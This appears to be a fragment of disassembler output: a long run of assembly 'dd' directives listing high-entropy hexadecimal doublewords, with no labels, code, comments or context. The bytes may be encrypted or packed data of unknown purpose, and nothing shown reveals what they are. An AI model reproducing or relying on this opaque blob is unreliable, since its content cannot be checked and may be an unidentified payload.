0ADDE885Fh dd 0B5F7AE40h, 6986DF68h, 93117A26h, 2405900h, 53F2D61h dd 0E92E39CFh, 0CB43AE80h, 0D85365AAh, 9956E6D1h, 74360BCCh dd 0CAA0F15Eh, 0EE6870FBh, 63A36A0Fh, 0D180F6E9h, 1E7754BAh dd 0D752475Bh, 681149F1h, 94502BDFh, 20D9B84Ch, 0B970A7C6h dd 90B7009Ah, 4B1868D5h, 504FE676h, 0D94186D2h, 2B43C07Bh dd 7B1325C2h, 0A0CF521h dd 0B050322Eh, 426009C9h, 3D2737AAh, 16132E5h, 4C04C0DDh dd 63C2DD6h, 5A2FCA56h, 0AE352780h, 0DC691F54h, 54C19DDFh dd 0D7E1EACDh, 29AF058Ah, 65C92FDFh, 40563F5h, 0A6115B26h dd 0C3680C9Ah, 40904F19h, 0D04801FEh, 51F82788h, 0EEC83Ch dd 8FC0506h, 9677FE9h, 0EB635116h, 0FAC32CF2h, 0CE4027C8h dd 4CBF867Dh, 4045AF1h, 0C2D77F37h, 0E7E4C5ABh, 2FA68720h dd 0A3A4F021h, 0E8C10083h, 7AC8310Ah, 31795B68h, 7B07AD6h dd 0DB2CD801h, 0F12079C9h, 90CCBF7Bh, 5C161142h, 0A92DBEB6h dd 0B60B2A35h, 2D95B65Bh, 0D74442DEh, 5C400865h, 92F7B6E9h dd 135AB764h, 9BAAC5F4h, 0A5C865D7h, 0E429C718h, 0DDC58082h dd 0A12FE356h, 397B26D5h, 82A103E5h, 0EEA3302h, 0DF79D755h dd 57568860h, 0F52EE969h, 0C142F8BAh, 0E334C6A1h, 9F472C28h dd 0DCE15353h, 0F091C07Eh, 1C5B9DDCh, 5D8906A0h, 6E61C7FAh dd 603A0364h, 0C1EAF284h, 9D5B6F2Ch, 84CB742Fh, 0FEC4B7E9h dd 6E82A035h, 1948D2D0h, 6EFE380h, 0C05E02E4h, 73885B63h dd 20BF90DAh, 0BE0178DCh, 6001A99Ch, 0E68F129h, 0E9B1B0D3h dd 209AE127h, 0B205F3E1h, 807A971Eh, 61E7E504h, 0C6806C2Eh dd 1334C873h, 2DEF893Ah, 90043015h, 7F434D17h, 866900ECh dd 0F65B6258h, 61629C91h, 6CC18000h, 7662C6B0h, 0CB286606h dd 0A512ADC9h, 0C441104Eh, 0CCBFFC95h, 0F840E635h, 72D82D68h dd 24B82ED1h, 95735588h, 0E9912CFAh, 5AE36525h, 4EAA17C6h dd 0F52300D6h, 3E301BA4h, 0E9E82904h, 0B130D72h, 9D5F106h dd 5A610B4Ah, 0B3F605A0h, 0C02E6E29h, 0EC0C7E84h, 0EEE96509h dd 0F8D027B8h, 0C2E17774h, 3C584024h, 5FD42A68h, 20CAB050h dd 5B7B9934h, 62CFCE50h, 0F526209Fh, 4D904B45h, 23480C48h dd 30C1103Ah, 0AD4111FFh, 95BE3E45h, 0CD12AFE1h, 7653E1Dh dd 265C007h, 370FBF16h, 158AA4C9h, 2C7BF1B9h, 280BBFB4h dd 104AB7FCh, 0DA4A09F2h, 60EF3356h, 65AF2D48h, 7C372F30h dd 4AB25BDBh, 0D2940415h, 2D7E1409h, 659152D8h, 0CCB88FDEh dd 895FC852h, 0F130112Dh, 207D705h, 7C709222h, 3DE3E2F2h dd 10ED0047h, 54FB977h, 21391398h, 1064B825h, 0BD029E36h dd 1A895707h, 78E5A880h, 0E91349E1h, 37EFC408h, 0E0AE947Fh dd 47B85D6Ch, 2A9F40B0h, 5F92C963h, 0B825B4A6h, 0C45DC5Ch dd 788088B0h, 0F61B97C5h, 42CFEDC9h, 30C86BDDh, 391EAFBDh dd 84884378h, 0F742501h, 59929C85h, 6294D90Bh, 0B8C748Ah dd 0E720A2D4h, 103D241Ah, 7EAC11Ch, 0F102E2CBh, 93E98595h dd 1A6D5685h, 0F6006558h, 162F3078h, 8F4DDBF6h, 7E945E17h dd 0A46857BEh, 3912999h, 73A493Ch, 28B0E781h, 7D5552A2h dd 0E2FDC112h, 8925FCBEh, 6402C801h, 4490E3CCh, 0C695C5C2h dd 0EC013202h, 0EADDC357h, 0BFCE7D3Ah, 9670E915h, 0C57878CBh dd 0B96C2830h, 0FDA6D80h, 56464E2Eh, 22F00C4Bh, 270F4849h dd 5D80958h, 14F838ECh, 0BF7010B2h, 9202AC7Ah, 2CB9B551h dd 8AD74A0h, 9388091h, 0D15B5AD0h, 6D20BCF3h, 16BF214Ch dd 4200EAD1h, 719C028Ch, 40D75C09h, 0E35C1825h, 69B1F173h dd 0D14C417Fh, 0EC7A637Fh, 71B579FDh, 20F20715h, 291D1262h dd 13C7C09h, 14B86B58h, 0AE017F59h, 1B02DA98h, 2DE98370h dd 471CC2CBh, 2DC0C840h, 535C8702h, 815E8F58h, 8E74454h dd 83097ED7h, 2EB520EDh, 32654350h, 6422DDF7h, 4AE4236Ah dd 1E99252h, 0AC2955E5h, 39F05268h, 0F568B7AFh, 0F45B3093h dd 0FEF0F4A0h, 313F48B2h, 7295CC20h, 81F9FC5Eh, 8A953028h dd 2062795h, 0ECD042E5h, 44FA8BBh, 0C14B4631h, 0C36180EBh dd 282CD1B0h, 2B1C6E0Dh, 1693F05h, 0E3B5C8EBh, 0AD768792h dd 59DCBB25h, 0B93D3FD7h, 0EBD35948h, 8D8C6B23h, 0EB5199EFh dd 0B9D728DAh, 0A748082Bh, 2C5D5BE8h, 0B19A4298h, 7EED682Fh dd 27B4C063h, 81023C23h, 47656C5h, 0DF85DD66h, 4B40AC9Ch dd 9AC450E2h, 0D76AA18h, 79BE2736h, 0FC2D3656h, 0BAE96195h dd 0E4FD65B1h, 0D74B68E3h, 0D480B9ADh, 81470906h, 7E65CA07h dd 0E2607A96h, 5A1535A8h, 802C4108h, 0BE867576h, 0B3108128h dd 9237E972h, 3110F379h, 685F05EDh, 80442162h, 5E13261Bh dd 5053C9C0h, 0C0C1ED2h, 0C098437h, 192C03FFh, 5D5E55A3h dd 1C56CEF8h, 4C57222Dh, 809CFEEFh, 40719149h, 85172D07h dd 0D6E2AA0Ah, 0C2445E95h, 167FBC9Eh, 9752A05Ch, 0F8018077h dd 62E52D5Ah, 0CD5E7A36h, 36806A3Ah, 0BC4FA154h, 0B62B881Eh dd 0C3BF5700h, 2412A435h, 2C0C7C29h, 0F5A10D8Dh, 0A8E07A91h dd 0CD425F85h, 0DF382BA8h, 0F7F44F1Bh, 0A7407825h, 40F4B28Bh dd 0CF5CB46Fh, 0C67E27C0h, 7C4C2093h, 0A3105AA0h, 5C6C51A0h dd 0EA684526h, 0A6DAC02h, 6AB7616Bh, 574C8304h, 0EC780D81h dd 0D582FBC6h, 7BAB6BA0h, 5F4F42BAh, 0BA250BD8h, 9E40A070h dd 5AC90121h, 405EF009h, 103CC805h, 0CE32D4F3h, 62B0D82Dh dd 8AD5804Bh, 0B8716F6Bh, 97C304C7h, 0EFCF7FA3h, 0B4354291h dd 2544F67Bh, 556A8B63h, 2FF96BBCh, 0BB172FB2h, 248B3B5h dd 0F238F7EAh, 3B0A7CD0h, 9279DDAFh, 73DC48A7h, 4F19740h dd 2074A320h, 9C82FEB6h, 5016EB22h, 53889F7Fh, 535E010Ah dd 2AB399E9h, 78E6128Dh, 25B8B879h, 0C7CAEE01h, 0A56576Ah dd 147360Bh, 4203E2F2h, 817FEAh, 68F2875Ah, 0B74174B2h dd 1D0F0230h, 7E6EE54Fh, 0C8740425h, 0BB2DA21Dh, 1CFBF948h dd 2630CE75h, 304A12ABh, 0A301FE07h, 129FBC62h, 94A133Ah dd 63A98C9Bh, 666FC1FCh, 65B765Fh, 0BB3D84C9h, 4F0B8671h dd 3ACCACCh, 2C67DF0Eh, 8CAF73Bh, 5417FA73h, 399038AEh dd 0C45ACA40h, 0E719BD3Eh, 0ADB15B2Ch, 0F39E223Bh, 10E4EBC1h dd 0E6235AEBh, 45F9BF09h, 510BEA2Ch, 0DFB9770Dh, 104D2DD2h dd 0B9025B15h, 7CA4458Bh, 0DD378480h, 0FEEB2060h, 21E198D0h dd 5D877F11h, 5D58C102h, 0F8B56E5h, 0EB46481Fh, 475E1322h dd 3A0CB05Ah, 0B8A2204Ah, 0DF18E490h, 5BDE0F16h, 0C9D92FC5h dd 0EDBE28AEh, 0A1109413h, 4214B50Bh, 8E3D3D0h, 5B149234h dd 89F2C01Dh, 0B54C587Ch, 539D5B46h, 965EA7B3h, 544184FAh dd 7FA33D82h, 0B48154C6h, 834F6C10h, 0EBB96E9Dh, 2A0E0549h dd 33D5733h, 0BD8F4ADh, 743187C4h, 0BF17D4A0h, 570BF87h dd 1B91D8Eh, 659C711Eh, 7BD877E9h, 8F5F1AF7h, 1DE85ACFh dd 0A8777D8Eh, 0E1B5C625h, 505202B1h, 0E4D018B4h, 3798D61h dd 5A44B1ACh, 2FF16047h, 633063D7h, 7B510B78h, 59C00962h dd 3004B5E1h, 4149447Fh, 9BBD5D81h, 8DC33B83h, 0AAFD2879h dd 4B081950h, 9AA2A6F1h, 55D8EAECh, 5621D559h, 0C94F73Bh dd 206211E9h, 2E8209BAh, 598E37A1h, 890C2ACCh, 2E88D897h dd 650DF6F8h, 2C0BA531h, 0CEC64EFAh, 2BC5BFC6h, 59137826h dd 0EEC880F8h, 2932663h, 0C043EFD5h, 6F5482CBh, 0E5C82109h dd 42472CACh, 0F15166F6h, 0ECC3A88h, 0BEE5D789h, 5A3FE280h dd 0BEB54FF2h, 0CC5B69C2h, 8D6817E3h, 0A40BF804h, 0B5309BDCh dd 565CEA89h, 0B44549C9h, 0AC6A136Fh, 4897D122h, 37F06EAh dd 62FE558Eh, 0FA010D7Bh, 5B8B9A68h, 5929BE01h, 0BAA9E949h dd 9881E454h, 0DC04A280h, 43092DE2h, 0EC751A60h, 87E2C14Fh dd 2E655B09h, 70434C4h, 0C7A12DE9h, 4FDA217Ah, 0C6EB680Ch dd 0F27B6E5Dh, 0B5204F57h dd 0C0B7F438h, 0A4C6C897h, 9FDB8358h, 0B2ACAACh, 0DE659368h dd 0DFB96032h, 224EB501h, 0A067E604h, 56D0E4D1h, 307F8177h dd 0F155F4CEh, 212F8BABh, 0D47DC8Dh, 3EC1F0D3h, 0E9090ECEh dd 9555EDC9h, 0CF680673h, 6720336Ch, 2F389099h, 0C39801C6h dd 452F14E8h, 20E892Ah, 0F528C036h, 0C52F2340h, 7FD112B7h dd 0E925DAB4h, 849FAA78h, 0A1D888h, 147F6857h, 5F4C3B9Dh dd 7AB80323h, 1220582Bh, 0EE6B6D1Ch, 2A514C60h, 81741EC7h dd 123C4E3h, 0C09C008h, 320CC14Ah, 0E310F1E9h, 8C724E69h dd 5740CA9Dh, 0EE081358h, 465A0059h, 0C03DEC80h, 7295E47Bh dd 0E9E60996h, 1D576853h, 0D90C9017h, 527FBA14h, 175CAB20h dd 7C3A12C4h, 0D448F48Bh, 36124248h, 13580148h, 2044D027h dd 0A0995CD3h, 0DDD86607h, 14FE0945h, 783B2589h, 9F96CBFh dd 578512CEh, 47EAAF07h, 4C70699Fh, 16BDDEB0h, 0E8F39531h dd 157038CBh, 447391BBh, 2E91AD21h, 5714050h, 0A9A62052h dd 2711FEF9h, 0FD00CAD6h, 1B9D6DAh, 0BFCCB7FBh, 292140E1h dd 755AC43Bh, 70048E1h, 0B9FA2BE9h, 7FDAA7FFh, 277EDD49h dd 0E86B5A5Ah, 2813C4D5h, 9596C2F8h, 231C5F0Bh, 930848BFh dd 0FFE93180h, 40887806h, 86DFF6B8h, 0CEFEF719h, 74E66808h dd 0E9B3C2F2h, 78904A72h, 5B554512h, 0E6C001BFh, 2AA7DCE3h dd 6545EBB1h, 0DD4B0F27h, 7481C110h, 0EEF52080h, 0B6AC5AC3h dd 65F15ADDh, 44DF8F30h, 7D79F185h, 0AC3CF43Dh, 6884FDF0h dd 11ED58C2h, 169942C4h, 0DA16F21Fh, 49EAFF64h, 0C0E06D00h dd 0DA27875Fh, 5BFF8753h, 467FADD2h, 0B7E1B7E2h, 4B602C41h dd 0CD86C4F6h, 128451D8h, 3320CF84h, 9ABA1CC6h, 8178C048h dd 451917CAh, 0F1033A5Eh, 82A665F2h, 4B2EA85h, 59078DF3h dd 0EBA5725Dh, 56406DD6h, 4F55BC68h, 5E3449DEh, 0FA922A45h dd 12DEFDFCh, 0EBEB90A7h, 763071A3h, 91190C11h, 0A8B65A79h dd 0A7C05BEBh, 0C5770C68h, 0F7B27549h, 0B4E64A6Ch, 22BFEA18h dd 561E272Dh, 0F9890A9Ch, 5735178h, 3649EC68h, 634134D7h dd 723ED36Ah, 0FBE8115Bh, 360CFBB7h, 0E70ECEBDh, 0C1103275h dd 0AE4FEAF6h, 64D6C27Fh, 0B3406E74h, 0BD54BC06h, 882EE72h dd 9F76A702h, 0D6438209h, 37509E1h, 0AD71CF8Eh, 0E91AC8EEh dd 7A02D44Bh, 0FF07F280h, 283C2D02h, 0FE81C0F5h, 0A720F5CAh dd 0A20876DBh, 75AD6ABAh, 3517FAE5h, 529321ABh, 0E2B30005h dd 31EB3980h, 0C0A8CB83h, 60108E3h, 0E9D3F604h, 2C3F9A1Ch dd 0EEFC511Ah, 2D346E5Ah, 0B87D8BECh, 4EE20BDBh, 81DF5AF6h dd 37E941D0h, 0A94A523Ch, 0E48BC5FCh, 51C4CEBBh, 766B6DCFh dd 0C9061A5Bh, 0FEA6C158h, 13556BBBh, 0EC4C576h, 507694A9h dd 5D6D2601h, 5285C676h, 56463354h, 0EA23C3D5h, 896F2AF8h dd 0E292CA61h, 0FE10C67h, 5FCCC8DBh, 0EB2D50EBh, 2F0CC2ECh dd 285AD689h, 2FE5F89Dh, 61E673C2h, 0F71A7DB1h, 4B027AEFh dd 0C697436Bh, 68CB6A12h, 6ECEEEB0h, 599F4A7Ah, 14A23D70h dd 1771BF09h, 9C68A43Eh, 4C210C8h, 0E6E06763h, 9498AA01h dd 97C34C29h, 0BB7EBA05h, 21608716h, 406C3A56h, 466368D8h dd 0BC5B862Eh, 5C8A4C09h, 21D3E42Eh, 718F6FFBh, 914080F3h dd 8F40532h, 2203622Ch, 6A9007A0h, 1C793820h, 251D7268h dd 0B7851C57h, 0BDAC1979h, 1419BF40h, 4F270977h, 0D608D7F7h dd 0B5F50BFDh, 7ED877E9h, 0C20562Ah, 394B0B07h, 0D1D15960h dd 94CF314Ah, 0C3659B81h, 915DDB07h, 0D0205DC4h, 0CD165E4Ah dd 87996077h, 9BD44B41h, 202F925Eh, 5F62537Ah, 90CAE844h dd 269045CAh, 0A56C8897h, 3CD39918h, 532FAAA8h, 17EDE788h dd 165342Bh, 2422443Eh, 93E43A21h, 0AF04F5D2h, 0A2EDB0CDh dd 0B252D851h, 5BCA80D8h, 0B64E82E7h, 7921AB77h, 0C68358C6h dd 92E90116h, 0E352C387h, 0E2926852h, 0B14B006h, 65F63AD8h dd 90C21C20h, 7D5024A0h, 24DE9A6h, 63642667h, 6E84C83Bh dd 31BA6743h, 2919D1C0h, 0F75A16D6h, 3857E9DEh, 824A89CEh dd 0CAAA800Eh, 9D1EDADFh, 38C0A969h, 0DEE9B09Dh, 204B914h dd 9CD7BCBh, 7D196D40h, 54478327h, 5254F83h, 340CBBA0h dd 5BE91903h, 30180B0Fh, 3D3FF576h, 108AAE28h, 3E7B82A5h dd 20BBDF76h, 508411D9h, 1F96E3D8h, 50659000h, 174C44B8h dd 0EC0D007Dh, 2D190407h, 0B7007B3Fh, 8E0C157h, 3E3A9835h dd 0CB8422B4h, 0C24C4840h, 30F7C659h, 0B7B82932h, 68CCC771h dd 0AC451EE4h, 0E5DB656Eh, 85E9133Fh, 4EB8A4C0h, 5D49252Ah dd 0AD3A76DCh, 0EA3B96DFh, 73DB9F02h, 1DB55104h, 0E330D5AFh dd 58606263h, 0E8AAE808h, 927AB72Dh, 0B2FD190h, 12D7E61Bh dd 0CC05FC68h, 7A408E0Fh, 7CC14838h, 551B310h, 0DE0389BDh dd 5ED9300h, 1D1FCD81h, 83279662h, 0BEF21BF5h, 31B3ABB4h dd 4F4EC650h, 2C57CF4Dh, 1638455Fh, 2EA232Eh, 0F165EEA2h dd 696A4C41h, 0E5EA255Dh, 2789290Eh, 18050E23h, 1277DB24h dd 0F2811716h, 133EF309h, 0C31C02EAh, 68409E71h, 54162DF1h dd 42014B3Bh, 62B13272h, 1C85D831h, 4AC4E35h, 2D3B5F3h dd 0F208968h, 3B416249h, 28C16BC0h, 242F9C5Ah, 44D6B0ADh dd 50C85E5Bh, 0B3AC4B28h, 365579CAh, 4E9C3AB4h, 195063FBh dd 92D71D68h, 0BBD67C22h, 0C9374C2h, 611236D2h, 0C1A01BE0h dd 0A22DE629h, 20F7720Ah, 5EB4FB99h, 8181444Ch, 0C0A2209Dh dd 0A1FE77CEh, 9F041A2Ch, 3B31690h, 4D1EF6BAh, 92C9D169h dd 1E728762h, 0FF7E673Eh, 8016EBB0h, 8802FDF7h, 0DE685BFAh dd 0E399F76Ch, 0F6DAC1D2h, 0FE8D8360h, 158FC25Ch, 169645E9h dd 0A40BE1D1h, 0AACD2988h, 7096938h, 3C875118h, 9D009F79h dd 0C00106BFh, 0FCC404Ch, 13A71DAAh, 2B323116h, 25ABDCB7h dd 46E684D4h, 0C98107F5h, 9E980DB4h, 4FBC03DFh, 181364F2h dd 2A1F5ADAh, 327EE101h, 5D3C28A2h, 2FF8B710h, 90095A05h dd 5C7B1672h, 5F4B0540h, 2F52A9D3h, 1F71F478h, 0B083134Eh dd 510195C8h, 5FE8BB53h, 99704C54h, 54874905h, 2903FF32h dd 0B02D9083h, 90F70F3Bh, 0E84E590Ch, 0B16D9B4h, 0D807392Eh dd 6A38CFC7h, 0C98DD069h, 2D0E6E24h, 99ADE209h, 0E35C2A4h dd 798AAC2Bh, 8016C4Ah, 9F79C6BBh, 2F3D120h, 71BFD94h dd 0F2C975E9h, 96096B66h, 0B5FAD8A0h, 0B0201A46h, 0D271C9DEh dd 0ADD5946Ah, 0D06A0CB9h, 7CE956C8h, 219C8397h, 6B27BAFDh dd 2DE883BBh, 53003242h, 0C56FF10Dh, 0DD054702h, 5F2CCB38h dd 0BA004A0Fh, 8977B841h, 0D558C62Eh, 826D4300h, 0B4F5017Fh dd 0D74052E7h, 455022F4h, 789E2EA4h, 1E46483Dh, 338B115Ch dd 0E4DBD6DCh, 5ED8F810h, 0F7CD480Ah, 982AF8ADh, 245A4B5Ch dd 0E8CF0BC7h, 67A6B210h, 0D61B552Ch, 0B5461F02h, 2C12543Ch dd 344D00F3h, 95E7EFAh, 1165F558h, 0C31FF06Bh, 35204970h dd 5EBF120Eh, 5EE9459Dh, 6FB2219Fh, 47E32A18h, 0BCC5D2DFh dd 0C5A24B5Fh, 64422DCBh, 0F860E6FFh, 4EE92A4h, 0BF20B8BAh dd 0E1C0FB0Bh, 0B866D428h, 42073D3Ch, 23BBCA00h, 8DE9052Eh dd 2F09D4A9h, 0A4E0022h, 0B8EA088Eh, 1784B03Dh, 59620805h dd 2D28205Fh, 4FE92507h, 54F64440h, 76C589Dh, 8008E5C0h dd 0E83032C5h, 0FCCB1A57h, 581683Dh, 52E987h, 6531732h dd 34EC5B20h, 7BAE3E13h, 0D771CE0Bh, 0B002C69Eh, 3118C869h dd 0CA5432F3h, 79CB7789h dd 806743FCh, 0BF0C1776h, 0C107857h, 0BE3B1212h, 82030E52h dd 960D082h, 6DD7CBE0h, 963B6EB7h, 0C791CAh, 0D7083CB2h dd 76C05A66h, 0C7FE7EEFh, 5080020Ah, 741E985h, 20BA6C95h dd 29B0831Ch, 28BD5502h, 0DE08A418h, 0D3421D60h, 0D011013Fh dd 704CED31h, 0C7876C6h, 23E9FB13h, 8E0DDB80h, 589A012Ch dd 3EA62D35h, 3C13FC2h, 75D60381h, 0E9160A46h, 50205CD0h dd 2D39ED6Ah, 8D653114h, 0F5D0218Ch, 0A66954E9h, 18D1B75Fh dd 3199C42h, 63BFED81h, 0F1DA1087h, 0E5275D5Eh, 5F56A51Ah dd 0E245D77Ah, 0FC229B2Dh, 4114DDEBh, 6B8D5CAAh, 0F20234A3h dd 3E210F4Ch, 0AB0BD7D4h, 0BFF8CE19h, 0ED3E46DAh, 8AB67DCEh dd 0BD0F16C0h, 0E2810254h, 78DD1C95h, 0C240ACF4h, 4A16188Ch dd 96D1C631h, 0B0160EE6h, 904016Eh, 0AF16DBFDh, 0ADF2E440h dd 9013A203h, 153658CEh, 1027742Eh, 2B874163h, 0F90114E4h dd 9CBBDFF4h, 2B58C721h, 4808D251h, 0BE5A17AFh, 0C6FA1841h dd 0A083BEFDh, 797F5B1Fh, 8728E68h, 99ECE904h, 17E85C9h dd 0E3DB2C93h, 1E727C84h, 69C46BBBh, 0B5AB3134h, 47CB3A17h dd 0E54B8676h, 3CAF7812h, 0D5828718h, 8F9BBFE0h, 0CC962D85h dd 0A4106F03h, 5F7DE975h, 0DF41FDEDh, 0D0C13B92h, 0C3DD5450h dd 4169F2Ch, 0D178B125h, 6413F153h, 0F99F5ACAh, 61046B5Eh dd 0EA23F40Ch, 0EE25910Bh, 8C3DC46h, 0F5818A59h, 51D47CD9h dd 3F121130h, 0E9933C68h, 2DA3C0B1h, 7D013705h, 42AC0D79h dd 0ABE81F5Fh, 0BD9FFE56h, 31A57D79h, 55CAC586h, 68BFBD9Ch dd 13A9BB50h, 0E3171B3Dh, 0A06802F6h, 7D2E2912h, 0D10B0F94h dd 0F0E3E9EBh, 0D6FBB5C7h, 6312C501h, 0E06A6ADBh, 8A2ED1Bh dd 0E4B0B6D1h, 597D7684h, 0A05F235Ch, 545A170Ah, 0BF8F0BA8h dd 0EFA11424h, 0C97D1CC3h, 0CFD811ACh, 7D0675DBh, 0C1DFF809h dd 8023C212h, 0E62A8264h, 0F0E4E2EBh, 9F5695FEh, 0AC38596Bh dd 0DD4E13D5h, 2ED3C9A6h, 4B32E344h, 11CD614h, 604A905Bh dd 0AD08C010h, 57BBC439h, 68AC01C2h, 0AC2C3A1Eh, 2B41FC4h dd 0F9E6C180h, 0D7E04F43h, 0D4F6C4FEh, 9D5780BFh, 82E5C8E9h dd 0F8620957h, 168E5BAFh, 0C2C8C463h, 53600500h, 6082B784h dd 9417E8DAh, 7B557107h, 1D664B28h, 70658BAh, 897E90BDh dd 571F455Ch, 3A9DBF47h, 0C91E03D9h, 86AFF440h, 0C51F12E3h dd 31830256h, 58525DE9h, 0F97E0148h, 7F0BBEECh, 0FBAB9022h dd 5A444420h, 2CF8A36Eh, 0F6479F2Ah, 4D0A09C1h, 184FD870h dd 0C4E6647h, 0C8276F8Eh, 93AD464h, 0B8FFA730h, 2EC2BE27h dd 1CBC5946h, 0C49DA0CFh, 6B7EF481h, 20FD67FDh, 0D911379h dd 0EC6C5F29h, 40CD08Dh, 5C02E95Dh, 890465EDh, 0FA7D1D66h dd 8500DD94h, 6C58748Ah, 3D4EBC47h, 2FFF047Fh, 0C32944FBh dd 90108874h, 0BB04805Dh, 81B46B18h, 0A7668FE7h, 41F75491h dd 2B03F768h, 0B992118Ah, 956B1626h, 0A4F975FBh, 91407C6Ch dd 6AE248D1h, 5B45957Dh, 9184D828h, 1F2F6835h, 0A62CFB53h dd 5055005Bh, 517186B8h, 0AE02051Dh, 0E947EF7Ch, 45F6491h dd 0F69ED3C2h, 2D1F912Ch, 0C429682h, 54F07BE0h, 4F89C99Bh dd 81228C49h, 45276F1h, 77C5ACEh, 0ED93D0EEh, 3B2054AAh dd 113A0B69h, 0A0F76C48h, 91FAAFE7h, 173D9EB7h, 82CEF957h dd 0DA8CBBE9h, 0CE8B201Dh, 0FBAB587Eh, 0DE6834D2h, 4D48B450h dd 0F48003C2h, 0F9DCF6FBh, 33A49C03h, 162BC999h, 5E975D10h dd 0C47C5E82h, 590DAB3Bh, 0BA07DF12h, 6C354881h, 0C910B43Eh dd 5A14D809h, 0DEF00567h, 30C468ACh, 8EB7056Fh, 0B85F5C4h dd 0C10A88FFh, 6208E127h, 7C0DFC9h, 7360EE27h, 0DD7B210Ch dd 0CE290A16h, 968846E9h, 8436BC66h, 4F0B48C8h, 6C90DB62h dd 3927D165h, 5938C121h, 8F102A22h, 3DC35BABh, 491E4E21h dd 22DDEFBDh, 141DDF8h, 795D40E9h, 84CE69FCh, 0CFBF02AAh dd 2CD21977h, 98157C99h, 4AB9104Bh, 58C67115h, 727D5516h dd 103048C1h, 0B902B690h, 40B376EDh, 12DABF84h, 28B72DFBh dd 79408D8Ch, 7B7FF36Ah, 0EB99432Ch, 799057DAh, 99973BFAh dd 0FA75C09Eh, 2268F3Eh, 0A8344BBAh, 6F22C076h, 59CC2E6Bh dd 2047050Dh, 7D18C188h, 805800E0h, 0B7D170F6h, 0C358C970h dd 8F091002h, 4810075Ch, 0EDB715D4h, 0C2B6C437h, 0C04F91FFh dd 0D580FDE6h, 0EBEECD63h, 2844EFB0h, 0C775F77Bh, 383F5A59h dd 0C6A95FA7h, 0C30F82Ch, 0BE5613ABh, 396BFA0Bh, 6650427h dd 8E03D3C0h, 0A95E7Eh, 57D02908h, 0D094DAE9h, 0E2657925h dd 5D70A8E9h, 22423796h, 10D50B7Ah, 0B98B2B5Ch, 129048FEh dd 4099CAF7h, 0F63168B8h, 0C0E0271Ch, 5C19202Bh, 579EC331h dd 17474688h, 803F1242h, 3E780289h, 0FA31E712h, 8E90CCAEh dd 0E42E4D6Bh, 0D4032914h, 82E24C2h, 50077D6h, 30117E1Bh dd 2E5F0F35h, 8AE91E3Fh, 88BD3120h, 1D58854Ch, 0DCB02A0h dd 42E92590h, 0BD565374h, 0A383E593h, 6CB01B19h, 8121F187h dd 0C0CB8C50h, 338B2D6Bh, 0F8097DD2h, 9092F3A9h, 2F0F134h dd 0E98F25B0h, 0EEF50CA3h, 5980F6D1h, 0F5174506h, 1A82B350h dd 0BE96B0Ch, 4033F7EEh, 0FC31125Bh, 562805E9h, 6F886809h dd 0FCC74331h, 0C69AC120h, 8CC60132h, 9C91DEACh, 876792BFh dd 24C44FABh, 53F2AED6h, 0E4BF2A79h, 5C36FCA2h, 0CD1F1178h dd 225BB59h, 0E9732255h, 2C761Ch, 297A23BEh, 0ACEBA2Ch dd 0DF31AB2Dh, 5B9B4910h, 1ECC4495h, 0C8E32801h, 0EF9EE474h dd 3E6F138Eh, 804B5FC8h, 0F03407E5h, 0EF2A6805h, 7372D66Bh dd 18445E99h, 7F460F21h, 9C6BE93Dh, 0FD368BBh, 0FB29BD01h dd 0C438A1E9h, 4BD52812h, 3F10EACAh, 60829B62h, 174827D1h dd 0ED896820h, 0CE8180FBh, 9DD340AAh, 0DEAF6938h, 12F2BB80h dd 2254C31h, 8F2A6020h, 76F780C0h, 0BC8EF882h, 5DB88BECh dd 62B174F2h, 5E0EC38Bh, 4F6D6187h, 0F65B6060h, 72E8BD41h dd 16452F4Eh, 0F802B3D4h, 608CC8E7h, 0B235822h, 0FE01752Dh dd 25088E88h, 0DC909FFAh, 6FFFFF50h, 3ACE6C0Fh, 0A4616B56h dd 0E5A25185h, 83DEF705h, 0EED600C6h, 0FD0C591Fh, 0A8E9015Fh dd 2C96F693h, 722DE4D0h, 292BFFA3h, 3082617Fh, 3180940Ah dd 0E3244A4Fh, 27B6599Dh, 2545451h, 27D66859h, 46AD98FFh dd 680086A7h, 4ADA10B8h, 13C70D58h, 0BF516440h, 0E047BD4Eh dd 685312DCh, 451BFA1h, 0FFA107AFh, 41717B02h, 741EBEFh dd 433567E9h, 9261E13Eh, 8ABE539Eh, 2E1F55F6h, 0ABD60BE2h dd 0C9BFE924h, 3DB06FF3h, 6A2518FBh, 0C15EE889h, 13A16F5Dh dd 393EA4Bh, 7F2BF810h, 0B146BBDh, 81433EF4h, 1918B8E7h dd 0ACFFA079h, 29403D1Bh, 0A3952D17h, 0C8CA2F95h, 7F79C52Ah dd 0B2565B3Ah, 1320C04Fh, 2D296F26h, 0E1165BDDh, 36221B09h dd 0C58F5F29h, 3EE9E861h, 0F1312ED7h, 0C92FCA86h, 0F55D311Ah dd 0C323AF7Ah, 14D2849Ah, 92225F2Dh, 0BE41C829h, 0C8EF04DCh dd 0F2ABEA6Eh, 7C4416F1h, 9FE1D2DCh, 13E98A2Eh, 0D3C096E9h dd 135CF2BDh, 124D6DDDh, 711B0867h, 78C9DE2Fh, 20C9D064h dd 0E73A8821h, 8CA25EA5h, 0F7818795h, 0EAEE1B98h, 81F042ECh dd 4B82F218h, 9F31D10Bh, 99200178h, 7ACD1F4Ch, 0C545DE5Fh dd 0FF515D68h, 0EB8E620h, 5A09FC67h, 0D21A10C5h, 0A7F78D1Fh dd 12C3BDD8h, 0F36304C2h, 6B8CF83h, 0A2171CAh, 6FB4E258h dd 0E56BC70Ah, 7E1889FBh dd 3F6CF4Ch, 0C0B70FD5h, 39DC8410h, 4369E982h, 0A6C28954h dd 820DF408h, 2FD24773h, 7E109980h, 409746D7h, 90D6F791h dd 0F53E5165h, 0AE8AD201h, 0EEA8000h, 13A1043Dh, 6845055Dh dd 61980620h, 5CC6B849h, 4F2C9D61h, 1541048h, 0F4202D5Bh dd 0B16F85F0h, 60972595h, 40139459h, 50FF1EA3h, 0E90B08C6h dd 44FA03DCh, 0C4A35B59h, 0E412B561h, 0B1408CA7h, 0EED1394Eh dd 3D8C6E0h, 29052F7Ch, 9F01E9F0h, 0E22988D9h, 3BA6F1D2h dd 250963A7h, 0FF547F5Eh, 0B5EF7925h, 4980FA20h, 0B56E67D8h dd 0B8950504h, 0DD58E278h, 0D4AF77E7h, 4B81C92Eh, 28CFD0E9h dd 2DCA938Fh, 4279E90Dh, 0C5302E22h, 7FC8BF0Fh, 274D6368h dd 911CF8DDh, 0CF5365C6h, 89AD4BBEh, 0E96AA1D5h, 278F45ACh dd 0F260DC5h, 5D4A1A88h, 5CA238FCh, 51A7C756h, 0B951451Fh dd 0E9F2E729h, 39ADD402h, 6AAD30F6h, 